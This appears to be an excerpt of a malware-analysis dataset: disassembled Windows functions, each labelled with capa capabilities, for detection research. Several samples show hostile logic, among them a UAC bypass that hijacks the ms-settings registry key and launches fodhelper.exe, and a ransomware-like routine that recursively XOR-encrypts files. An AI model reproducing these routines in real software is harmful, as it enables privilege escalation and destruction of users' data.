joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403050
Capabilities:
Enumerate gui resources
Get disk information

Disassembly:
mov eax, 0x1024
call fcn.0040f490
mov eax, dword [0x4ab344]
mov ecx, dword [0x4a8250]
push ebx
push ebp
shr eax, 3
push esi
push edi
test eax, eax
jbe 0x40316d
mov esi, dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
mov ebx, dword [sym.imp.KERNEL32.dll_WriteProfileSectionW]
mov ebp, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], eax
cmp dword [0x4ab344], 0x959
jne 0x403153
call esi
push 0
lea eax, [esp + 0x834]
push eax
push 0
call edi
push 0
push 0
call ebx
push 0
push 0
lea ecx, [esp + 0x38]
push ecx
call ebp
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoExA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
lea edx, [esp + 0x2c]
push edx
push 0
lea eax, [esp + 0x438]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapQueryInformation]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
xor eax, eax
lea ecx, [esp + 0x18]
push ecx
push eax
push eax
push eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
call dword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
push 0
push 0x402c5c
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov edx, dword [esp + 0x10]
push edx
call fcn.00402ec0
add dword [esp + 0x10], 8
sub dword [esp + 0x14], 1
jne 0x403094
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1024
ret
Function at 0x408c30
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x43e580]
jne 0x408c3a
repz ret
jmp fcn.0040c0f3

Function at 0x40b633
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00406b74
and dword [ebp - 4], 0
cmp dword [0x440db4], 0
mov ebx, eax
jne 0x40b6e4
push 0x401b5c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40b795
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x401b50
push edi
call esi
test eax, eax
je 0x40b795
push eax
call fcn.00406b02
mov dword [esp], 0x401b40
push edi
mov dword [0x440db4], eax
call esi
push eax
call fcn.00406b02
mov dword [esp], 0x401b2c
push edi
mov dword [0x440db8], eax
call esi
push eax
call fcn.00406b02
mov dword [esp], 0x401b10
push edi
mov dword [0x440dbc], eax
call esi
push eax
call fcn.00406b02
pop ecx
mov dword [0x440dc4], eax
test eax, eax
je 0x40b6e4
push 0x401af8
push edi
call esi
push eax
call fcn.00406b02
pop ecx
mov dword [0x440dc0], eax
mov eax, dword [0x440dc0]
cmp eax, ebx
je 0x40b73c
cmp dword [0x440dc4], ebx
je 0x40b73c
push eax
call fcn.00406b7d
push dword [0x440dc4]
mov esi, eax
call fcn.00406b7d
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40b73c
test edi, edi
je 0x40b73c
call esi
test eax, eax
je 0x40b733
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40b733
test byte [ebp - 0xc], 1
jne 0x40b73c
or dword [ebp + 0x10], 0x200000
jmp 0x40b775
mov eax, dword [0x440db8]
cmp eax, ebx
je 0x40b775
push eax
call fcn.00406b7d
pop ecx
test eax, eax
je 0x40b775
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40b775
mov eax, dword [0x440dbc]
cmp eax, ebx
je 0x40b775
push eax
call fcn.00406b7d
pop ecx
test eax, eax
je 0x40b775
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x440db4]
call fcn.00406b7d
pop ecx
test eax, eax
je 0x40b795
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40b797
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401460
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
lea eax, [ebp - 0xc]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._RegOpenKeyExA_20
sub esp, 0x14
test eax, eax
jne 0x4014e2
mov eax, dword [ebp + 0x14]
mov dword [esp], eax
call sym._strlen
lea edx, [eax + 1]
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x14], edx
mov edx, dword [ebp + 0x14]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov edx, dword [ebp + 0x10]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
leave
ret

Function at 0x4014e5
Capabilities:
Create process on windows
Self delete

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [ebp - 0xc], str.D:HUICK.exe
mov dword [ebp - 0x10], str.SoftwareClassesms_settings_shellopencommand
mov dword [ebp - 0x14], str.DelegateExecute
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x40b0b4
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov dword [esp], 0x80000001
call sym._set_registry_key
mov dword [esp + 0xc], 0x40b0b4
mov eax, dword [ebp - 0x14]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov dword [esp], 0x80000001
call sym._set_registry_key
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], str.fodhelper.exe
mov dword [esp + 4], str.open
mov dword [esp], 0
call sym._ShellExecuteA_24
sub esp, 0x18
nop
leave
ret

Function at 0x40157e
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [ebp - 0x1c], ecx
mov dword [esp + 4], 1
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._calloc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4015af
mov dword [esp], 1
call sym._exit
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x40000000
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._CreateFileA_28
sub esp, 0x1c
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x401602
mov dword [esp], 1
call sym._exit
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x14]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._WriteFile_20
sub esp, 0x14
test eax, eax
je 0x401639
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp + 0xc]
je 0x401653
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov dword [esp], 1
call sym._exit
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._free
nop
leave
ret
Function at 0x401731
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov byte [ebp - 0x1c], al
mov dword [ebp - 0x20], ecx
mov dword [esp + 4], 0x40b0f3
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x40186a
mov dword [esp + 8], 2
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._ftell
mov dword [ebp - 0x14], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._malloc
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x4017c8
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._fclose
jmp 0x40186b
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._fread
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._fseek
mov dword [ebp - 0xc], 0
jmp 0x401829
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x18]
add edx, eax
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x18]
add eax, ecx
movzx eax, byte [eax]
xor al, byte [ebp - 0x1c]
mov byte [edx], al
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jl 0x40180d
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._fwrite
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._fclose
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._free
jmp 0x40186b
nop
leave
ret
Function at 0x40186d
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x384
mov eax, dword [ebp + 0xc]
mov byte [ebp - 0x35c], al
mov ebx, ecx
mov dword [ebp - 0x360], ecx
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._s
mov dword [esp + 4], 0x104
lea eax, [ebp - 0x250]
mov dword [esp], eax
call sym.___mingw_snprintf
lea eax, [ebp - 0x14c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x250]
mov dword [esp], eax
call sym._FindFirstFileA_8
sub esp, 8
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x4019b6
lea eax, [ebp - 0x14c]
add eax, 0x2c
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._s_s
mov dword [esp + 4], 0x104
lea eax, [ebp - 0x354]
mov dword [esp], eax
call sym.___mingw_snprintf
mov eax, dword [ebp - 0x14c]
and eax, 0x10
test eax, eax
je 0x40196b
mov dword [esp + 4], 0x40b102
lea eax, [ebp - 0x14c]
add eax, 0x2c
mov dword [esp], eax
call sym._strcmp
test eax, eax
je 0x401986
mov dword [esp + 4], 0x40b104
lea eax, [ebp - 0x14c]
add eax, 0x2c
mov dword [esp], eax
call sym._strcmp
test eax, eax
je 0x401986
movzx eax, byte [ebp - 0x35c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x354]
mov dword [esp], eax
mov ecx, ebx
call sym._encrypt_directory.32219
jmp 0x401986
movzx eax, byte [ebp - 0x35c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x354]
mov dword [esp], eax
mov ecx, ebx
call sym._encrypt_file.32208
lea eax, [ebp - 0x14c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._FindNextFileA_8
sub esp, 8
test eax, eax
jne 0x4018d5
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._FindClose_4
sub esp, 4
jmp 0x4019b7
nop
mov ebx, dword [ebp - 4]
leave
ret
Function at 0x402010
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x40e044
call sym._EnterCriticalSection_4
mov ebx, dword [0x40e03c]
sub esp, 4
test ebx, ebx
je 0x40205b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x402054
test esi, esi
je 0x402054
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402030
mov dword [esp], 0x40e044
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x402240
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x402290
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x402368
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x4022ce
cmp eax, 4
jne 0x4022f0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x4022de
cmp edx, 4
je 0x4022de
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00402240
Function at 0x1008b6b0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1030e6a0
mov eax, dword fs:[0]
push eax
sub esp, 0x3c
mov eax, dword [0x10338040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax + 0x3c]
and ecx, 1
je 0x1008b7ac
mov edx, dword [ebp - 0x1c]
add edx, 0x40
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax + 0x20]
mov edx, dword [ecx]
mov dword [ebp - 0x28], edx
cmp dword [ebp - 0x28], 0
je 0x1008b71f
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx + 0x20]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax + 0x30]
mov edx, dword [edx]
add edx, dword [ecx]
mov dword [ebp - 0x20], edx
jmp 0x1008b738
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx + 0x1c]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax + 0x2c]
mov edx, dword [edx]
add edx, dword [ecx]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x2c]
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx]
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x48]
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x38]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x18], edx
mov dword [ebp - 4], 0
cmp dword [ebp - 0x14], 0x1000
jb 0x1008b795
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x18]
push ecx
call fcn.100835a0
add esp, 8
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x18]
push eax
call fcn.1030d0a5
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx + 0xc]
mov dword [edx], 0
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax + 0x1c]
mov dword [ecx], 0
xor edx, edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax + 0x2c]
mov dword [ecx], edx
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx + 0x10]
mov dword [eax], 0
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx + 0x20]
mov dword [edx], 0
xor eax, eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx + 0x30]
mov dword [edx], eax
mov eax, dword [ebp - 0x1c]
mov dword [eax + 0x38], 0
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx + 0x3c]
and edx, 0xfffffffe
mov eax, dword [ebp - 0x1c]
mov dword [eax + 0x3c], edx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1030cc2a
mov esp, ebp
pop ebp
ret
Function at 0x100a44d0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1030f580
mov eax, dword fs:[0]
push eax
sub esp, 0x14c
mov eax, dword [0x10338040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x11c], 0
lea eax, [ebp - 0x114]
push eax
push 0
push 0
push 5
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jl 0x100a461b
lea ecx, [ebp - 0x114]
push ecx
lea ecx, [ebp - 0x158]
call fcn.1008ade0
mov dword [ebp - 0x124], eax
mov edx, dword [ebp - 0x124]
mov dword [ebp - 0x138], edx
mov dword [ebp - 4], 0
mov dword [ebp - 0x120], str.config_
mov eax, dword [ebp - 0x120]
add eax, 1
mov dword [ebp - 0x128], eax
mov ecx, dword [ebp - 0x120]
mov dl, byte [ecx]
mov byte [ebp - 0x115], dl
add dword [ebp - 0x120], 1
cmp byte [ebp - 0x115], 0
jne 0x100a4566
mov eax, dword [ebp - 0x120]
sub eax, dword [ebp - 0x128]
mov dword [ebp - 0x12c], eax
mov ecx, dword [ebp - 0x12c]
mov dword [ebp - 0x130], ecx
mov edx, dword [ebp - 0x130]
mov dword [ebp - 0x134], edx
mov eax, dword [ebp - 0x134]
push eax
push str.config_
mov ecx, dword [ebp - 0x138]
call fcn.100ae8a0
mov dword [ebp - 0x13c], eax
mov ecx, dword [ebp - 0x13c]
mov dword [ebp - 0x140], ecx
mov edx, dword [ebp - 0x140]
push edx
mov ecx, dword [ebp + 8]
call fcn.100ad1c0
mov eax, dword [ebp - 0x11c]
or eax, 2
mov dword [ebp - 0x11c], eax
mov ecx, dword [ebp - 0x11c]
or ecx, 1
mov dword [ebp - 0x11c], ecx
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x158]
call fcn.1008b960
mov eax, dword [ebp + 8]
jmp 0x100a463a
push 0x1031e566
mov ecx, dword [ebp + 8]
call fcn.1008ade0
mov edx, dword [ebp - 0x11c]
or edx, 1
mov dword [ebp - 0x11c], edx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1030cc2a
mov esp, ebp
pop ebp
ret

Function at 0x100a4660
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x10338040]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.100a44d0
add esp, 4
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x24]
cmp dword [eax + 0x14], 0xf
jbe 0x100a469a
mov dword [ebp - 0x28], 1
jmp 0x100a46a1
mov dword [ebp - 0x28], 0
mov cl, byte [ebp - 0x28]
mov byte [ebp - 0x1d], cl
movzx edx, byte [ebp - 0x1d]
test edx, edx
je 0x100a46bd
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
mov dword [ebp - 0x30], ecx
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x34]
mov dword [ebp - 0x38], ecx
push 0
mov edx, dword [ebp - 0x38]
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x100a46df
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [ebp - 0x1c]
call fcn.1008b960
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1030cc2a
mov esp, ebp
pop ebp
ret
Function at 0x100ad670
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
mov eax, dword [0x10338040]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x30], ecx
mov eax, dword [ebp - 0x30]
cmp dword [eax + 0x38], 0
je 0x100ad697
mov ecx, dword [ebp - 0x30]
movzx edx, byte [ecx + 0x3d]
test edx, edx
jne 0x100ad69e
mov al, 1
jmp 0x100ad7a4
mov eax, dword [ebp - 0x30]
mov ecx, dword [eax]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0x50], edx
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x40], 0xffffffff
mov ecx, dword [ebp - 0x40]
push ecx
mov ecx, dword [ebp - 0x30]
call dword [ebp - 0x50]
mov dword [ebp - 0x54], eax
mov edx, dword [ebp - 0x60]
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x44], 0xffffffff
mov eax, dword [ebp - 0x44]
cmp eax, dword [ebp - 0x54]
jne 0x100ad6e1
mov dword [ebp - 0x48], 1
jmp 0x100ad6e8
mov dword [ebp - 0x48], 0
mov cl, byte [ebp - 0x48]
mov byte [ebp - 0x31], cl
movzx edx, byte [ebp - 0x31]
test edx, edx
je 0x100ad6fd
xor al, al
jmp 0x100ad7a4
mov dword [ebp - 0x64], 0x20
mov eax, dword [ebp - 0x30]
mov ecx, dword [eax + 0x38]
mov dword [ebp - 0x58], ecx
lea edx, [ebp - 0x2c]
push edx
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0x28]
push ecx
mov edx, dword [ebp - 0x30]
add edx, 0x40
push edx
mov ecx, dword [ebp - 0x58]
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet___char___char___char___const]
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
je 0x100ad740
cmp dword [ebp - 0x38], 1
je 0x100ad747
cmp dword [ebp - 0x38], 3
je 0x100ad797
jmp 0x100ad7a2
mov eax, dword [ebp - 0x30]
mov byte [eax + 0x3d], 0
mov ecx, dword [ebp - 0x2c]
lea edx, [ebp - 0x28]
sub ecx, edx
mov dword [ebp - 0x3c], ecx
je 0x100ad777
mov eax, dword [ebp - 0x30]
mov ecx, dword [eax + 0x4c]
push ecx
mov edx, dword [ebp - 0x3c]
push edx
push 1
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp dword [ebp - 0x3c], eax
je 0x100ad777
xor al, al
jmp 0x100ad7a4
mov ecx, dword [ebp - 0x30]
movzx edx, byte [ecx + 0x3d]
test edx, edx
jne 0x100ad78b
mov dword [ebp - 0x4c], 1
jmp 0x100ad792
mov dword [ebp - 0x4c], 0
mov al, byte [ebp - 0x4c]
jmp 0x100ad7a4
mov eax, dword [ebp - 0x30]
mov byte [eax + 0x3d], 0
mov al, 1
jmp 0x100ad7a4
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1030cc2a
mov esp, ebp
pop ebp
ret

Function at 0x100b6d30
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0
jmp 0x100b6d4e
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 8
jae 0x100b6d6f
mov edx, dword [ebp + 0xc]
add edx, dword [ebp - 8]
movzx eax, byte [edx]
xor eax, dword [ebp - 4]
mov dword [ebp - 4], eax
imul ecx, dword [ebp - 4], 0x1000193
mov dword [ebp - 4], ecx
jmp 0x100b6d45
mov edx, dword [ebp - 4]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret